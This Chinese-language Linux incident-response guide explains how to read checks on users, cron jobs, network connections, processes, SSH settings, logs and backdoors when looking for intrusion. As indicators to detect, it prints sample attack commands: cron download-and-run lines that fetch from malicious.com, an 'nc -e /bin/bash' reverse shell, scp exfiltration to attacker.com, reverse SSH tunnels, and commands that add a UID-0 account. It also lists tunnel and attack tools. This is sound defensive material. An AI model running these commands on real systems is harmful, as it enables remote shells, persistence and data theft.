Linux 应急响应解读要点指南

February 26, 2026 · View on GitHub

本文档提供各类检查项的详细解读要点和风险判断标准,帮助系统分析命令输出并识别潜在威胁。

📖 配合使用:先用 commands-mapping.md 执行命令获取输出,再用本文档进行深度分析。


风险等级说明

等级定义响应建议
🔴 高危确认存在入侵痕迹或后门立即隔离主机、深度排查、启动应急响应流程
🟡 中危存在可疑项需进一步确认深入检查、查看日志、确认是否为业务需要
🟢 低危/正常未发现明显异常或符合预期持续监控、纳入基线

1. 系统信息排查 - 解读要点

IP地址与网络基础

未知网卡或异常公网IP

  • 异常表现
    • 出现未知的网络接口名称(非eth0/ens33等常见命名)
    • 发现业务不必要的公网IP地址
    • 配置了多个公网IP但业务只需一个
  • 可能原因
    • 攻击者为持久化或横向移动添加的虚拟网卡
    • VPN或隧道工具创建的虚拟接口
    • 云环境被意外添加的额外IP
  • 进一步检查
    • 查看网卡配置文件 /etc/sysconfig/network-scripts/ifcfg-*/etc/network/interfaces
    • 检查是否有隧道工具进程(如 openvpnwireguardfrp

默认网关异常

  • 异常表现
    • 默认网关IP不在预期网段
    • 多个默认路由指向不同网关
    • 网关为非预期的公网地址
  • 可能危害
    • 流量被转发到攻击者控制的设备(中间人攻击)
    • 内网扫描或横向移动流量未受约束
  • 验证方法
    • 网关IP是否为该网络的正常路由器地址
    • 网络拓扑是否允许该网关路径
    • 检查 ip route show 静态路由条目

系统版本与虚拟化

内核版本异常

  • 异常表现
    • 与基线或同类其他主机版本不一致
    • 为非常旧的版本(存在已知漏洞)
    • 为异常新的版本但非官方升级
  • 风险评估
    • 旧内核可能存在CVE可直接利用
    • 异常新版本可能是攻击者替换的包含rootkit的内核
  • 验证方法
    • 查询官方安全公告确认漏洞
    • 计算内核二进制文件的MD5与官方对比
    • 检查 /var/log/yum.log/var/log/apt/history.log 的升级记录

虚拟化环境

  • 解读要点
    • 虚拟机/容器环境:看不到物理硬件、部分命令受限是正常的
    • 物理机环境:应能看到CPU、内存、磁盘等硬件信息
    • 宿主机(KVM/VirtualBox):可能在 /proc/cpuinfo 看到 hypervisor 标记
  • 风险点
    • 容器逃逸漏洞(如Dirty Cow、runc漏洞)
    • 云主机元数据泄露(如AWS/阿里云元数据服务)
  • 建议
    • 定期更新容器运行时(docker/runc/containerd)
    • 检查云主机是否正确配置元数据访问限制

用户信息分析

UID=0 的非 root 用户

  • 🔴 高危特征
    • /etc/passwd 中出现除 root 外 UID=0 的用户
    • 示例:admin:x:0:0:Administrator:/home/admin:/bin/bash
  • 攻击目的:直接获得root权限的持久化账号
  • 验证方法
    • 检查 /var/log/secure/var/log/auth.log 中的 useradd 记录
    • 查看该用户的登录历史(last admin
    • 对比基线确认是否为运维新增的合法账号
  • 处置建议
    • 立即锁定或删除该用户
    • 检查该用户的文件和历史操作
    • 审查其 sudo 权限配置

重复 UID(克隆用户)

  • 异常表现
    • /etc/passwd 中存在相同 UID 的用户
    • 示例:root:x:0:0:root:/root:/bin/bashtest:x:0:0:test:/tmp:/bin/nologin
  • 攻击手法:克隆 root 账号用于掩盖行为
  • 发现方法
    • cut -d: -f3 /etc/passwd | sort | uniq -d 输出重复 UID
  • 处置建议:立即删除克隆账号,并检查日志中的用户操作记录

非系统用户异常(UID >= 1000)

  • 正常情况:普通业务用户、运维账号
  • 可疑表现
    • 大量 UID=1000+ 的用户且无业务需要
    • 用户名为随机字符串(如 a1b2c3xyz789
    • 家目录在 /tmp/root 或异常路径
    • Shell 为空或指向异常脚本
  • 进一步检查
    • 查看用户创建时间和操作历史
    • 检查是否属于异常用户组
  • 处置建议
    • 确认是否为业务需要的账号
    • 不需要的及时清理

空口令用户

  • 🔴 高危特征
    • /etc/shadow 中密码字段为空(第二字段为空)
    • 示例:test1::18672:0:99999:7:::
  • 风险:可直接无密码登录(取决于 PAM/SSH 配置)
  • 验证攻击是否成功
    • 检查 sshd_configPermitEmptyPasswords 设置
    • 检查 pam.d 配置是否允许空口令
    • 查看 /var/log/secure 中该用户的登录尝试
  • 处置建议
    • 立即为空口令用户设置强密码
    • 检查该用户的登录历史和操作记录

口令未加密(老旧系统)

  • 异常表现/etc/passwd 中密码字段不是 x
    • 示例:user1:\$1$test$hash123:1001:1001::/home/user1:/bin/bash
  • 说明:现代系统应使用 x 并在 /etc/shadow 存储哈希
  • 风险:passwd 文件通常可读,口令哈希可能被离线破解
  • 处置建议:升级系统或配置为使用 shadow 文件

特权用户组异常成员

  • 常见特权组
    • sudo (Debian/Ubuntu系)
    • wheel (CentOS/RHEL系)
  • 异常表现
    • 特权组中出现意外的新成员
    • 示例:sudo:x:27:user1,unknown_user
  • 验证方法
    • 对比基线确认成员是否为运维新增
    • 检查该用户的 sudo 权限配置 (sudo -l)
  • 处置建议
    • 移除不在基线中的成员
    • 审查其 sudo 操作日志(/var/log/secure/var/log/sudo.log

计划任务分析

可疑定时任务

  • 🔴 High-risk 关键词
    • wget/curl + 下载URL(特别是http://或未知域名)
    • bash/sh/python 执行脚本(特别是 /tmp 下)
    • base64 编码命令(混淆痕迹)
    • chmod +x 后执行(隐藏可执行文件)
    • 每5分钟或更频繁的下载/执行行为
  • 示例可疑任务
    */5 * * * * curl -s http://malicious.com/shell.sh | bash
    0 */2 * * * python /tmp/.hidden.py
    @reboot base64 -d /etc/.hidden.b64 | sh
    
  • 正常业务任务
    • 日志轮转(logrotate)
    • 数据库备份(mysqldump - 备份路径应在标准备份目录)
    • 监控脚本(在可信路径如 /opt/monitoring/
    • 定时清理任务(删除 /tmp 旧文件)
  • 验证方法
    • 查看脚本内容(cat /path/to/script.sh
    • 检查脚本修改时间(ls -l /path/to/script.sh
    • 查看执行日志(/var/log/cron
  • 处置建议
    • 立即禁用可疑任务(注释掉或删除)
    • 检查任务脚本内容和其他持久化点
    • 根据URL/IP追踪攻击者C2服务器

历史命令分析

脚本下载行为

  • 可疑模式
    • wget http://...curl -O http://...
    • 下载域名可疑(短URL/IP地址、非官方域名)
    • 下载到 /tmp/dev/shm/var/tmp
    • 下载后立即执行(wget ... | bashbash script.sh
  • 示例
    wget http://192.168.1.100/s.sh -O /tmp/.x
    curl -s https://bit.ly/evil | bash
    wget http://pwned.sh -O /tmp/maintenance; chmod +x /tmp/maintenance; /tmp/maintenance
    
  • 验证攻击是否执行
    • 检查 /tmpdev/shm 路径是否匹配
    • 查看下载URL的域名/IP是否恶意
    • 结合登录IP确认是否为运维人员操作
  • 处置建议
    • 检查下载后的脚本文件内容和功能
    • 隔离该URL/IP(添加到防火墙黑名单)
    • 深度排查下载脚本执行后的系统变化

文件传输行为

  • 可疑表现
    • scpsftptftprsync 传输文件到未知IP
    • 内网横向移动迹象(内网IP)
    • 大量文件传输(可能是数据窃取)
  • 示例
    scp /var/www/database.sql root@attacker.com:/tmp/
    rsync -avz /data/ 192.168.1.100:/incoming/
    tftp -c get script.sh 10.0.0.5
    
  • 验证方法
    • 查看时间戳确认传输时间是否在攻击窗口
    • 检查传输的文件内容和敏感度
    • 结合网络日志确认对端IP归属
  • 处置建议
    • 如涉及敏感数据泄露,通知受影响方并修改密钥
    • 修改被攻击账号密码
    • 审查对端IP是否存在其他攻击迹象

账号操作行为

  • 可疑操作
    • useraddusermod 添加UID=0账号
    • useradd 添加随机用户名用户
    • passwd 为新用户设置密码或重置已有密码
    • groupaddusermod 将用户加入特权组(sudo/wheel)
  • 示例
    useradd -u 0 -o test
    useradd -m -s /bin/bash xyz789
    echo "user1:password" | chpasswd
    usermod -aG sudo attacker
    
  • 验证方法
    • 结合 /etc/passwd/etc/group 确认是否创建成功
    • 查看操作时间是否与登录时间匹配
    • 检查日志确认操作者身份(IP)
  • 处置建议
    • 删除非法添加的账号
    • 重置被修改密码账号的密码
    • 将异常成员移出特权组

黑客命令行

  • ⚠️ 典型工具特征
    • 隧道工具nc/netcatncatsocatfrpngrokproxychains
    • SSH 转发ssh -L(本地转发)、ssh -R(远程转发)、ssh -D(动态SOCKS)
    • 扫描工具nmapmasscannikto
    • 攻击框架msfconsole(Metasploit)、sqlmap
  • 示例
    nc -e /bin/bash 10.0.0.1 4444
    socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
    ssh -fN -R 8080:localhost:22 user@attacker.com
    nmap -sV -p- 192.168.1.0/24
    
  • 验证是否持续运行
    • 检查对应进程是否仍存在(ps -ef | grep ...
    • 查看监听端口(ss -lntp
    • 检查网络连接(ss -antp
  • 处置建议
    • 杀掉可疑进程
    • 检查对应的二进制文件位置和来源
    • 深度检查是否有其他入口或持久化点

清痕与持久化命令

  • 可疑命令
    • chmod 777 / chattr -i - 移除文件保护
    • iptables -F / firewall-cmd --reload - 禁用防火墙
    • setenforce 0 - 关闭SELinux
    • crontab - - 添加定时任务
    • systemctl enable/disable - 启用/禁用服务
  • 示例
    chmod 777 /etc/passwd
    chattr -i /etc/shadow
    setenforce 0
    crontab -e
    systemctl enable backdoor.service
    
  • 进一步检查
    • 验证对应配置/状态是否确实被更改
    • 检查更改时间是否在攻击窗口
  • 处置建议
    • 恢复配置文件为安全状态
    • 重新启用安全策略
    • 审查持久化点的其他手段

2. 网络连接排查 - 解读要点

ARP表异常

MAC地址频繁变化

  • 异常表现
    • 同一IP对应不同MAC地址
    • ARP表中有大量 FAILEDINCOMPLETE 条目
  • 可能原因
    • ARP欺骗攻击(中间人攻击)
    • 网络中存在IP冲突
    • 虚拟机/容器频繁启动或迁移
  • 验证方法
    • 对比其他主机的ARP表
    • 检查网络拓扑是否有冗余/负载均衡
    • 使用 arping 验证MAC地址真实性
  • 处置建议
    • 在交换机配置静态ARP绑定(如支持)
    • 启用端口安全(Port Security)
    • 检查是否有IP冲突设备

网关MAC异常

  • 🟡 中危特征
    • 网关IP的MAC地址与基线不符
    • 多个不同的网关MAC
  • 风险:流量被转发到错误设备
  • 验证
    • ping 网关IP后查看ARP表
    • 登录网关设备查看是否真实
  • 处置建议
    • 立即隔离主机,防止流量泄露
    • 排查网络设备或中间人攻击隐患

网络连接异常

外联到陌生公网IP

  • 可疑特征
    • 连接到非业务预期的公网IP
    • 连接境外IP(业务不需要境外访问)
    • 连接到高危端口(如4444、6666、常用的C2端口)
    • 连接到短URL服务IP(bit.ly等)
  • ⚠️ 典型可疑端口
    • 4444、5555 - 常用反弹shell端口
    • 6666-6699 - 常用挖矿/木马端口
    • 8080、8443 - 可疑HTTP/HTTPS反向代理
    • 3389 - RDP(如非业务需要)
    • 22 - SSH外连(如非管理员操作)
  • 验证方法
    • 使用 whoisnslookup 查询IP归属
    • 检查对应的进程和命令行(ss -antp + ps -ef
    • 结合日志确认是否为合法维护访问
  • 处置建议
    • 终止可疑连接(kill 对应进程)
    • 防火墙封禁该IP
    • 深度检查对应进程

长连接异常

  • 可疑特征
    • ESTAB状态持续超过24小时
    • 同一进程有多个外连连接
    • 连接数据量异常(过大或持续的固定流量)
  • 可能原因
    • C2通信保持(心跳包)
    • 数据持续外泄
    • 挖矿/恶意程序的守护进程连接
  • 验证方法
    • 查看连接建立时间(与攻击时间线对比)
    • 检查对应进程是否存在异常
  • 处置建议
    • 终止长连接并监控是否会重新建立
    • 分析流量内容(如有深度包检测)

混杂模式(PROMISC)

  • 异常表现
    • 网卡flags包含 PROMISC
    • 通过 ip link 命令看到
  • 可能原因
    • 恶意:嗅探流量窃取敏感信息
    • 正常:合法抓包工具(tcpdump、wireshark)使用
    • 正常:虚拟化环境的某些网络配置
  • 验证方法
    • 检查是否有抓包工具进程(ps -ef | grep tcpdump
    • 查看网络连接是否有明显流量窃取迹象
    • 检查虚拟化环境是否需要混杂模式
  • 处置建议
    • 非业务需要时关闭混杂模式
    • 如果是虚拟化正常配置,记录基线

端口监听异常

高危端口监听

  • 🔴 高危端口(详见 checkrules/dangerstcpports.txt):
    • 4444、5555 - 反弹shell
    • 6666、12345、32768 - 木马常见端口
    • 5900、3389 - VNC/RDP(内网横向移动风险)
    • 8080、8090 - Webshell后门
  • 验证方法
    • 使用 ss -lntp 查看监听进程
    • 查看进程命令行和可执行文件路径
    • 检查是否为业务所需服务
  • 处置建议
    • 非业务需要时立即终止监听进程
    • 防火墙封禁对应端口

0.0.0.0/:全端口监听

  • 风险:对外暴露服务,可能被远程利用
  • 验证
    • 确认是否为业务需要对外监听
    • 检查是否为默认配置未限定监听地址
    • 如内网服务,应仅监听内网IP(127.0.0.1/内网IP)
  • 处置建议
    • 限制监听地址为内网/本地
    • 如需对外,确保服务安全配置(认证、防火墙)

DNS配置异常

陌生DNS服务器

  • 异常表现
    • /etc/resolv.conf 中配置了非官方/非运营商的DNS
    • DNS IP在可疑网段(如境外IP或已知恶意IP段)
  • 风险:DNS劫持、投毒、记录查询行为
  • 验证方法
    • 使用 whois 查询DNS归属
    • 测试解析是否正常(nslookup google.com
  • 处置建议
    • 恢复为可信DNS(8.8.8.8、运营商DNS等)
    • 深度检查是否有DNS投毒行为

hosts文件异常

  • 异常表现
    • /etc/hosts 中对常见域名指向了私有IP
    • 恶意覆盖官方域名(如 mirrors.kernel.org 指向恶意IP)
  • 示例
    192.168.1.100 mirrors.aliyun.com
    10.0.0.1 kernel.org
    
  • 风险
    • 软件更新源被劫持
    • 将流量导向恶意服务器
  • 处置建议
    • 清理 hosts 文件中的恶意条目
    • 对比基线确认哪些条目是合法的

3. 进程排查 - 解读要点

基础进程分析

可疑进程名

  • ⚠️ 典型可疑进程名
    • 伪装系统进程systemdd (多一个d)、initddbusd
    • 随机名进程x8293a1b2c3[kworker]/1234
    • 隐藏进程:进程名包含空格或不可见字符
    • 挖矿特征:miner、xmrig、cpuminer
    • 反向shell:bash/sh/python -c '...' 连接到外网
  • 发现方法
    • ps aux 查看进程列表
    • 关注异常用户(非root的root用户运行?)
    • 关注异常CPU/内存占用(持续100%?)
  • 进一步检查
    • 查看进程命令行完整内容(cat /proc/PID/cmdline
    • 查看进程工作目录(ls -l /proc/PID/cwd
    • 查看进程可执行文件路径(ls -l /proc/PID/exe
    • 计算可执行文件MD5与基线对比
  • 处置建议
    • 终止可疑进程(kill -9 PID
    • 删除可执行文件
    • 检查进程的父进程和启动方式

异常进程启动时间

  • 可疑特征
    • 在攻击时间窗口启动的进程
    • 异常早或异常晚的启动时间(与系统启动时间不匹配)
    • 启动时间与其他事件的时间线一致(如某可疑命令执行后启动)
  • 验证方法
    • 对比启动时间与日志时间线
    • 查看进程的父进程(ps -ef PPID)
    • 检查进程的启动方式(systemd?cron?手工启动?父进程?)
  • 处置建议
    • 终止进程并检查其父进程
    • 检查启动方式的持久化点

高级进程检测

孤儿进程(PPID=1)

  • 正常情况
    • 系统守护进程(sshd、cron等)
    • legitimate deamon(如nginx、apache)
  • 可疑情况
    • 用户进程变成孤儿(父进程被杀)
    • 随机名称的孤儿进程
    • 可疑命名(如 [kworker] 伪装但工作目录异常)
  • 进一步检查
    • 查看进程当前状态和资源占用
    • 检查进程FD和打开的文件
    • 查看进程环境变量
  • 处置建议
    • 如确认恶意,终止进程
    • 查找原始父进程和启动位置

网络连接-进程映射异常

  • 异常表现
    • 外联到陌生IP,进程名可疑
    • 进程可执行文件在 /tmp/dev/shm/var/tmp
    • 多个连接指向同一可疑IP
    • 反弹shell特征(bash/sh/python连接到外网4444端口)
  • 示例
    ESTAB 192.168.1.10:54321 -> 1.2.3.4:4444 users:(("bash",pid=1234))
    ESTAB 192.168.1.10:54322 -> 1.2.3.4:8088 users:(("/tmp/miner",pid=5678))
    
  • 验证方法
    • 根据PID查找进程详情
    • 计算可执行文件MD5,查询VirusTotal
    • 检查进程父进程和启动时间
  • 处置建议
    • 立即终止进程并删除二进制
    • 检查其父进程和启动方式
    • 防火墙封禁外联IP

进程内存映射异常

  • 异常表现
    • 映射到 /tmp/dev/shm 的可执行段(r-xp)
    • 匿名可执行段(无pathname)
    • 映射到删除的文件((deleted)
  • 示例危险内存映射
    7ffb8b600000-7ffb8b610000 r-xp 00000000 00:00 0          [ 匿名可执行段 ]
    7f8a2a000000-7f8a2a010000 r-xp 00000000 08:01 12345 /tmp/.hidden (deleted)
    
  • 进一步检查
    • cat /proc/PID/maps 查看完整映射
    • pmap -x PID 查看详细的内存使用
    • 检查对应文件内容(如果未删除)
  • 处置建议
    • 终止进程
    • 如为删除文件,检查回收站或磁盘镜像

进程环境变量异常

  • 🔴 高危环境变量
    • LD_PRELOAD - 劫持动态链接库
    • 异常 PATH - 优先执行恶意二进制
    • http_proxy/https_proxy - 流量代理到可疑地址
    • HISTFILE=/dev/null - 禁用历史命令记录
  • 示例
    LD_PRELOAD=/tmp/.lib.so
    PATH=/tmp:$PATH
    http_proxy=http://192.168.1.100:8080
    HISTFILE=/dev/null
    
  • 进一步检查
    • 查看 LD_PRELOAD 指向的so库内容
    • 检查 PATH 中是否有可疑路径
    • 验证代理服务器是否为内网或恶意IP
  • 处置建议
    • 清理恶意环境变量
    • 检查对应的库文件和二进制
    • 追踪环境变量设置来源(启动脚本、父进程)

系统调用表异常

  • 异常表现
    • /proc/kallsymssys_call_table 符号消失或不可读
  • 可能原因
    • Rootkit 修改系统调用表以隐藏行为
    • 内核被替换
  • 验证方法
    • 使用 rkhunterchkrootkit 等工具扫描
    • 检查内核二进制文件的MD5
    • 对比其他正常主机的系统调用表
  • 处置建议
    • 🔴 高危:建议立即重新部署或重新安装系统
    • 如无法重装,尝试使用LiveCD分析磁盘镜像

4. 文件排查 - 解读要点

系统服务异常

可疑服务名称

  • 可疑特征
    • 服务名伪装系统服务(如 systemddinitd)但启动路径可疑
    • 随机串服务名(如 x8293.service
    • 服务名包含隐藏字符/空格
    • 服务 ExecStart 指向 /tmp/dev/shm 或非标准路径
  • 示例
    [Unit]
    Description=System daemon
    [Service]
    ExecStart=/tmp/.hidden/evil.sh
    
  • 验证方法
    • 查看服务完整配置(systemctl cat <service>
    • 检查服务状态和日志(systemctl status <service>
    • 计算启动二进制文件的MD5
  • 处置建议
    • 立即禁用可疑服务(systemctl disable <service>
    • 删除服务配置文件和可执行文件
    • 检查是否有其他持久化点

自启动异常服务

  • 异常表现
    • 新增的enabled服务不在基线中
    • 服务文件时间戳异常(修改时间为攻击窗口)
    • 服务文件位于非标准路径(/etc/systemd/system//run/systemd/system/
  • 验证方法
    • 对比服务列表与基线(systemctl list-unit-files --type=service | grep enabled
    • 查看服务文件修改时间
    • 检查服务配置内容
  • 处置建议
    • 禁用新异常服务
    • 检查服务历史日志和执行记录

SSH配置异常

authorized_keys 新增密钥

  • 🔴 高危特征
    • /root/.ssh/authorized_keys 或用户 authorized_keys 出现新密钥
    • 新密钥的时间戳在攻击窗口
  • 风险:持久的登录后门
  • 验证方法
    • 对比基线确认新密钥指纹
    • 查看该密钥的登录历史(last -i
    • 检查 /var/log/secure 中密钥使用记录
  • 处置建议
    • 移除异常密钥
    • 重置相关账号密码
    • 审查密钥使用历史和操作记录

sshd_config 不安全配置

  • ⚠️ 风险配置项
    • PermitEmptyPasswords yes - 允许空口令
    • PermitRootLogin yes - 允许root远程登录
    • Port 使用非标准端口(如2222,可能用于隐藏后门)
    • ClientAliveInterval 设置过大,延长会话时间
    • MaxAuthTries 设置过大,便于爆破
  • 验证方法
    • 查看配置是否为基线设置
    • 检查配置文件修改时间
  • 处置建议
    • 恢复为安全配置
    • 设置复杂密码或禁用密码登录
    • 如业务必需 root 登录,使用密钥认证和白名单

敏感文件权限异常

/etc/shadow 权限宽松

  • 异常表现
    • /etc/shadow 权限不是 000
    • /etc/passwd 权限不是 644
    • 文件属性被修改为 chattr -i(移除immutable保护)
  • 风险
    • 普通用户可读取密码哈希
    • 非root账号可修改密码文件
  • 进一步检查
    • 检查是否有新增的UID=0或空口令账号
    • 查看敏感文件的修改时间和历史
  • 处置建议
    • 恢复文件权限和属性
    • 检查文件内容是否被篡改

SUID/SGID 文件异常

  • 🔴 高危特征
    • 在基线中不存在的SUID/SGID文件
    • /tmp/dev/shm/var/tmp 下的SUID/SGID可执行文件
  • 常见提权路径
    • vimnanoless 等编辑器启用了SUID(可提权)
    • 自定义脚本启用了SUID
    • 系统二进制被替换(如 /bin/bash SUID)
  • 验证方法
    • 对比SUID文件列表与基线
    • 检查可疑SUID文件的MD5
  • 处置建议
    • 移除异常的SUID/SGID权限(chmod -s /path/to/file
    • 检查文件是否被替换(MD5对比)
    • 如为必要SUID文件,确保其在基线中

24小时内文件变动

异常文件变动

  • ⚠️ 可疑文件特征
    • /tmp/dev/shm 下出现可执行文件
    • 系统二进制文件被修改(/usr/bin/*/usr/sbin/*
    • 配置文件被修改(/etc/passwd/etc/shadow/etc/ssh/sshd_config
    • /home/root 下出现隐藏文件名且内容可疑
  • 示例
    /tmp/.x - 可执行、24小时内创建
    /root/.hidden.sh - 24小时内修改
    /usr/bin/ls - 被修改但未升级系统
    
  • 验证方法
    • 检查文件内容和MD5
    • 对比基线确认是否为合法修改
    • 查看文件所有者和修改者信息
  • 处置建议
    • 删除恶意文件
    • 恢复被篡改的系统文件(从备份或官方源)
    • 深度检查修改原因和范围

5. 日志分析 - 解读要点

登录日志异常

SSH爆破特征

  • 异常表现
    • 短时间内大量 Failed password for invalid user/root
    • 同一IP反复尝试不同密码/用户名
    • 暴力尝试后出现 Accepted password for user(成功登录)
  • 示例
    Jan 15 10:00:00 sshd[1234]: Failed password for root from 192.168.1.100 port 12345 ssh2
    Jan 15 10:00:05 sshd[1234]: Failed password for admin from 192.168.1.100 port 12345 ssh2
    Jan 15 10:01:30 sshd[1235]: Accepted password for root from 192.168.1.100 port 12345
    
  • 验证方法
    • 统计失败次数和来源IP分布
    • 检查爆破后是否成功登录
    • 查看成功登录后的操作历史
  • 处置建议
    • 防火墙封禁爆破IP
    • 如爆破后成功登录,按入侵事件处理
    • 检查该IP是否在其他主机上爆破

异地登录

  • 异常表现
    • 同一账号从不同地理位置的IP登录
    • 短时间内从两处IP登录(同一账号)
    • 登录来源IP不在运维白名单
  • 验证方法
    • 使用 whois 查询IP地理位置
    • 确认是否为合法的远程维护操作
  • 处置建议
    • 立即终止可疑会话
    • 修改账号密码
    • 启用MFA/SSH密钥+白名单

新增用户日志

  • 异常表现
    • New user: user1useradd 日志
    • 新增UID=0用户
    • 随机用户名的新增记录
  • 验证方法
    • 检查新增用户是否仍存在
    • 查看用户的登录历史
    • 检查用户的sudo权限
  • 处置建议
    • 删除异常新增用户
    • 检查其操作历史

计划任务日志异常

可疑定时任务执行

  • 异常表现
    • CRON[...] (user) CMD ( curl http://... | bash )
    • 频繁执行的网络下载/执行任务
    • 执行脚本在 /tmp/dev/shm
  • 示例
    Jan 15 12:00:00 CRON[5678]: (root) CMD ( curl -s http://evil.com/shell.sh | bash )
    
  • 验证方法
    • 查看脚本文件内容
    • 检查任务执行结果
    • 查看任务创建者(检查cron文件修改历史)
  • 处置建议
    • 立即删除/禁用可疑任务
    • 检查创建时间和创建者
    • 深度检查脚本执行的后果

包管理日志异常

可疑软件安装/卸载

  • 异常表现
    • 安装了攻击工具(nmap、netcat、tcpdump等)
    • 卸载了安全工具(iptables、firewalld、auditd)
    • 系统升级/安装在攻击窗口,但不是日常维护时间
  • 示例
    Jan 15 15:30:00yum[1234]: Installed: nmap-2:7.80-1.x86_64
    Jan 15 15:35:00yum[5678]: Erased: firewalld-0.8.0-4.el7.noarch
    
  • 验证方法
    • 确认安装/卸载是否为运维操作
    • 检查工具是否仍存在
    • 检查操作者IP(结合secure日志)
  • 处置建议
    • 恢复被卸载的安全工具
    • 移除攻击工具(如非业务需要)
    • 检查工具是否被攻击者使用

6. 后门排查 - 解读要点

LD_PRELOAD劫持

检测方法

  • 检查点
    • /etc/ld.so.preload 文件内容
    • 进程环境变量 LD_PRELOAD
  • 异常表现
    • 文件指向 /tmp/dev/shm 或非标准路径的 .so
    • 库文件修改时间在攻击窗口
  • 示例
    /etc/ld.so.preload: /tmp/.libevil.so
    LD_PRELOAD=/tmp/.libevil.so
    
  • 进一步检查
    • 使用 ls -l 查看库文件详细信息和权限
    • 使用 ldd <binary> 查看二进制依赖的库
    • 反编译或分析so库内容
  • 处置建议
    • 清空 /etc/ld.so.preload
    • 清除进程的 LD_PRELOAD 环境变量(需重启进程)
    • 删除恶意so库
    • 确认已被劫持的进程和系统命令

SSH公钥后门

检测方法

  • 检查点
    • /root/.ssh/authorized_keys
    • 用户目录 ~/.ssh/authorized_keys
  • 异常特征
    • 新增密钥的comment字段可疑(如 user@attacker
    • 密钥指纹在攻击时间前后出现
  • 验证方法
    • 对比基线确认新密钥
    • 使用 ssh-keygen -lf <pubkey> 查看指纹
    • 查看该密钥的登录历史(last -i
  • 处置建议
    • 移除异常密钥
    • 重置相关账号密码
    • 审查密钥使用历史

7. 隧道检测 - 解读要点

SSH隧道特征

同一PID的多个sshd连接

  • 异常表现
    • 同一sshd PID有多个外联连接
    • 示例:PID=1234 的sshd进程同时连接到 1.2.3.4:80801.2.3.4:8081
  • 可能用途
    • 内网横向移动的多级跳板
    • 反向隧道持久化
  • 进一步检查
    • 查看该sshd进程的启动参数(sshd -Tps -ef
    • 检查用户 authorized_keys 是否有 command= 等选项
    • 查看 /etc/ssh/sshd_config 是否允许端口转发
  • 处置建议
    • 终止异常sshd连接
    • 限制端口转发(AllowTcpForwarding no
    • 禁用异常密钥

SSH转发参数

  • ⚠️ 转发类型
    • -L 本地转发:ssh -L 8080:192.168.1.100:88 user@tunnel.com
    • -R 远程转发:ssh -R 8080:localhost:22 user@tunnel.com(反向shell)
    • -D 动态SOCKS代理:ssh -D 1080 proxy.com
  • 异常表现
    • -R 转发到外网(常见C2持久化)
    • 转发到内网敏感端口(如3389、3306)
    • 使用SSH协议2.0以下的版本
  • 验证方法
    • 查看进程命令行确认转发参数
    • 检查对应的网络连接
    • 检查连接对端IP归属
  • 处置建议
    • 终止SSH转发进程
    • 禁用端口转发配置
    • 防火墙封禁对端IP

其他隧道工具

常见隧道工具进程

  • 检测关键词
    • iodine - DNS隧道
    • dnscat - DNS隧道C2
    • chisel - HTTP隧道
    • frpngrok - 反向代理隧道
  • 验证方法
    • 查看进程命令行确认工具类型
    • 查看相关配置文件
    • 检查相关网络连接和端口
  • 处置建议
    • 终止工具进程
    • 删除二进制文件
    • 检查其配置和持久化方式

8-12. 专项排查解读

WebShell检测

  • ⚠️ 危险函数特征
    • eval()assert() - 执行任意代码
    • system()passthru()exec() - 执行系统命令
    • base64_decode()gzinflate() - 解码混淆内容
    • file_get_contents()curl_exec() - 外联C2
  • 验证方法
    • 查看文件内容和混淆方式
    • 检查文件修改时间和创建者
    • 结合访问日志查看是否被触发
  • 处置建议
    • 删除WebShell文件
    • 检查网站访问日志确认访问者
    • 检查是否有其他WebShell
    • 修复上传、文件包含等漏洞

病毒/恶意软件检测

  • 异常软件包
    • 未授权安装工具(nmap、nc等)
    • 未知包名(非官方源)
    • 异常版本的系统包
  • 验证方法
    • 查看包所属(rpm -qfdpkg -S
    • 查看包安装时间(rpm -q --last
    • 计算二进制文件MD5与官方对比
  • 处置建议
    • 卸载异常包
    • 重新安装被篡改的系统包

内存异常占用

  • 可疑特征
    • 某进程持续占用大量CPU/内存
    • 进程名可疑或随机串
    • 进程在 /tmp/dev/shm
  • 进一步检查
    • 查看进程命令行和可执行文件
    • 检查网络连接
    • 检查进程环境变量和FD
  • 处置建议
    • 终止可疑进程
    • 深度检查并清理

13-16. 其他与基线排查

Kubernetes凭据泄露

  • 🔴 High-risk
    • /var/lib/kubeconfig/root/.kube/config 存在
    • /etc/kubernetes/admin.conf 可能被滥用
  • 风险
    • 获取集群管理员权限
    • 横向移动到所有Pod/Node
  • 处置建议
    • 立即撤销泄露的凭据
    • 重新签发证书(kubeadm init phase certs
    • 实施RBAC最小权限和命名空间隔离

基线检查异常

  • 核心关注点
    • 账号基线:UID=0用户、特权组成员、密码策略
    • 认证基线:SSH配置、grub密码、远程登录限制
    • 网络基线:防火墙规则、SELinux策略
    • 权限基线:关键文件权限、SUID/SGID文件
  • 验证方法
    • 对比当前配置与基线
    • 检查文件修改历史
  • 处置建议
    • 恢复为基线配置
    • 分析变更原因和范围

综合分析方法

时间线构建

  1. 确定攻击时间窗口

    • 查看首次可疑事件时间
    • 查看爆破成功时间
    • 查看文件修改时间
  2. 交叉验证事件

    • 登录时间 ↔ 命令执行时间 ↔ 文件修改时间
    • 包安装时间 ↔ 服务启动时间 ↔ 网络连接建立时间
  3. 确定攻击路径

    • 入口 → 横向 → 持久化 → 行为 → 清痕

风险评估矩阵

发现内容可疑程度确认难度综合风险等级
UID=0非root用户🔴 极高🔴 已确认🔴 高危
空口令用户🔴 极高🟡 需验证PAM🔴 高危
SSH爆破+成功登录🔴 极高🔴 已确认🔴 高危
/tmp下SUID文件🔴 极高🟡 需验证MD5🔴 高危
LD_PRELOAD劫持🔴 极高🔴 已确认🔴 高危
外联陌生IP🟡 中高🟡 需验证归属🟡 中危
SSH公钥新增🟡 中高🟡 需验证指纹🟡 中危
定时任务可疑🟡 中高🟡 需验证脚本🟡 中危
新增普通用户🟢 低🟢 需验证业务🟢 低危

响 应 建议

立即响应(针对高危发现)

  1. 隔离主机:断开网络或限制外联
  2. 终止恶意进程:杀掉可疑进程并删除二进制
  3. 删除后门:清理持久化点(authorized_keys、cron、systemd服务)
  4. 阻止访问:防火墙封禁相关IP、端口
  5. 启动应急响应:通知相关团队,记录事件

深度排查(针对中危发现)

  1. 进一步验证:使用专业工具扫描(rkhunter、chkrootkit)
  2. 检查日志:深入分析相关日志
  3. 范围确认:检查是否有其他主机被影响
  4. 业务评估:确认是否为合法运维操作

持续监控(针对低危或清理后)

  1. 建立基线:记录当前正常状态用于对比
  2. 监控告警:配置规则对类似行为告警
  3. 定期巡检:定期执行排查脚本
  4. 审计日志:持续监控关键日志

附录:常用外部资源

恶意IP/域名查询

文件哈希查询

CVE漏洞查询

Rootkit检测工具